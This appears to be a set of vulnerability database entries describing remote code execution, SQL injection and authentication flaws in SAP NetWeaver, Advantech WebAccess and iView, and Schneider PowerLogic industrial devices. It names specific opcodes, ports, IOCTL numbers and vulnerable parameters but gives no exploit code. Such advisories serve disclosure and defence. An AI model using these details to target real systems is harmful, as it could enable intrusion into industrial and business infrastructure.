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Multiple stack-based buffer overflows in msg_server.exe in SAP NetWeaver ABAP 7.x allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a (1) long parameter value, (2) crafted string size field, or (3) long Parameter Name string in a package with opcode 0x43 and sub opcode 0x4 to TCP port 3900. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. NetWeaver ABAP is prone to a denial-of-service vulnerability |
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var-202005-0008
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Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple heap-based buffer overflow vulnerabilities exist caused by a lack of proper validation of the length of user-supplied data, which may allow remote code execution. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000791d in DATACORE.exe. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required |
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var-202007-0395
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Advantech iView, versions 5.6 and prior, contains multiple SQL injection vulnerabilities that are vulnerable to the use of an attacker-controlled string in the construction of SQL queries. An attacker could extract user credentials, read or modify information, and remotely execute code. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech iView. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the retrieveActiveTrapCount method of the TrapTable class. When parsing the search_hostname HTTP parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. Advantech iView is a device management application provided by Advantech |
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var-202106-0542
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A CWE-287: Improper Authentication vulnerability exists in PowerLogic PM55xx, PowerLogic PM8ECC, PowerLogic EGX100 and PowerLogic EGX300 (see security notification for version infromation) that could cause loss of connectivity to the device via Modbus TCP protocol when an attacker sends a specially crafted HTTP request. plural Schneider Electric The product contains authentication vulnerabilities.Service operation interruption (DoS) It may be in a state |